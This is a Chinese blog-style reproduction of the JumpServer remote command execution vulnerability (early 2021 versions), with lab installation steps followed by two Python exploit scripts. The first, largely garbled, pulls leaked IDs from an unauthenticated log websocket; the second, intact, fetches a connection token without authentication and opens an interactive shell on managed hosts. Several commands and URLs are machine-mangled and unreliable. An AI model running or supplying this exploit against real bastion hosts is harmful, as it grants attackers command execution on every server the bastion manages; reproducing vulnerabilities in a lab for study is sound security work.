首页 > 编程知识 正文

JumpServer 远程命令执行漏洞,jumpserver 漏洞

时间:2023-05-05 23:25:31 阅读:185570 作者:610

宣言要好好学习,每天提高

漏洞说明JumpServer是世界上第一台完全开源的Bao夯机,使用GNU GPL v2.0开源协议,是符合4A标准的专业运维审计系统。 JumpServer使用Python/Django进行开发。

2021年1月15日,JumpServer发布更新,修复了远程命令执行漏洞。 JumpServer的某些接口没有许可证限制,使得攻击者能够创建恶意请求以在日志文件中获取敏感信息,执行相关的API操作以控制其中的所有机器,或执行任意命令

影响范围JumpServer v2.6.2

JumpServer v2.5.4

JumpServer v2.4.5

JumpServer=v1.5.9

再现过程在此使用2.6.1版

这里新安装了内存8G、CPU4C、磁盘150G的centos7。 (分为根目录100G。 ) ) ) ) ) ) ) ) )。

安装完成后,运行以下命令安装Barker : 从安装过程中可以看出,使用docker安装各种镜像。 这个过程很漫长。 毕竟docker,大家都知道

wget 3359 github.com/jumpserver/jumpserver/releases/download/v2.6.1/quick _ start.sh编辑安装脚本

vi quick_start.sh修改这两个变量的值。 否则,安装的一定是最新版的没有漏洞的,以后必须还原版本,非常浪费时间

将执行version=' v2.6.1' JMS _ version=' v2.6.1',并且所有提取的镜像都是2.6.1 (请参见)

chmodx./quick _ start.sh./quick _ start.sh安装完成后,缺省情况下安装在/opt下

CD/opt/jumpserver-installer-v2.6.1./JMS CTL.sh start终于结束了,辛苦了

启动环境后,有以下两个端口

http://192.168.31.2273360803359192.168.31.22733608443先访问8080,询问管理员/管理员默认帐户密码,进入后默认

http://192.168.31.227:8080

汉堡机的作用是批量管理登录。 首先,添加名为汉堡机的服务31.227的登录

更新用户列表中的用户名时会成为root,以后连接ssh时的用户会成为root

创建系统用户。 这里是登录的根用户名和密码

创建管理用户

新资产

资产许可证

正常连接到ssh

一开始我不太习惯这个汉堡本垒打,所以花了很长时间。 比办公自动化还难乘坐。 不怕开玩笑,第一天就建设了四五个小时,但没有成功。 最后换了版本终于可以跑了。 第二天继续解决,很快就结束了

发动攻击

运行脚本1.py,内容如下,自行修改IP

importasyncioimportreimportwebsocketsimportjsonurl='/ws/ops/tasks/log /。 (“asyncdefmain_logic(t ) 3360print ) ) (asyncdefmain_logic(t ) 652 asyncwithwebsockets.connect (t ) as client ) jumpserver/lumps } while true : ret=JSON.loads (await client.recv () ) print ) ret('message ), end=' ' ) if _ name _=' _ main _ ' : host=' http://192.168.31.22733608080 ' target=host.reet ' ws 3:

pip install websocketspython31.py在获取asset、system_user、user三个ID值后(脚本跑了几分钟后,shutdown后,在网上翻过来,小心翼翼

asset _ id=a 624 a 79 e-f4b7- 4157-8 BD B-2fcf 079 fdafesystem _ user _ id=d9ca 68f2- 1a2e-4a 95-9 DDA-f0a cc 53 Fe 79 fusem

_id=006115c9-7291-4a3a-8204-4867028afe03

创建第二个脚本2.py,将asset_id,system_user_id和user_id替换到下面脚本的主函数里面,IP也改一下

import osimport asyncioimport aioconsoleimport websocketsimport requestsimport json url = "/api/v1/authentication/connection-token/?user-only=1" def get_celery_task_log_path(task_id): task_id = str(task_id) rel_path = os.path.join(task_id[0], task_id[1], task_id + ".log") path = os.path.join("/opt/jumpserver/", rel_path) return path async def send_msg(websocket, _text): if _text == "exit": print(f'you have enter "exit", goodbye') await websocket.close(reason="user exit") return False await websocket.send(_text) async def send_loop(ws, session_id): while True: cmdline = await aioconsole.ainput() await send_msg( ws, json.dumps( {"id": session_id, "type": "TERMINAL_DATA", "data": cmdline + "n"} ), ) async def recv_loop(ws): while True: recv_text = await ws.recv() ret = json.loads(recv_text) if ret.get("type", "TERMINAL_DATA"): await aioconsole.aprint(ret["data"], end="") # 客户端主逻辑async def main_logic(): print("#######start ws") async with websockets.connect(target) as client: recv_text = await client.recv() print(f"{recv_text}") session_id = json.loads(recv_text)["id"] print("get ws id:" + session_id) print("###############") print("init ws") print("###############") inittext = json.dumps( { "id": session_id, "type": "TERMINAL_INIT", "data": '{"cols":164,"rows":17}', } ) await send_msg(client, inittext) await asyncio.gather(recv_loop(client), send_loop(client, session_id)) if __name__ == "__main__": host = "http://192.168.31.227:8080" cmd = "whoami" if host[-1] == "/": host = host[:-1] print(host) data = {"user": "006115c9-7291-4a3a-8204-4867028afe03", "asset": "a624a79e-f4b7-4157-8bdb-2fcf079fdafe", "system_user": "d9ca68f2-1a2e-4a95-9dda-f0acc53fe79f"} print("##################") print("get token url:%s" % (host + url,)) print("##################") res = requests.post(host + url, json=data) token = res.json()["token"] print("token:%s", (token,)) print("##################") target = ( "ws://" + host.replace("http://", "") + "/koko/ws/token/?target_id=" + token ) print("target ws:%s" % (target,)) asyncio.get_event_loop().run_until_complete(main_logic())

执行

pip install aioconsolepython3 2.py

版权声明:该文观点仅代表作者本人。处理文章:请发送邮件至 三1五14八八95#扣扣.com 举报,一经查实,本站将立刻删除。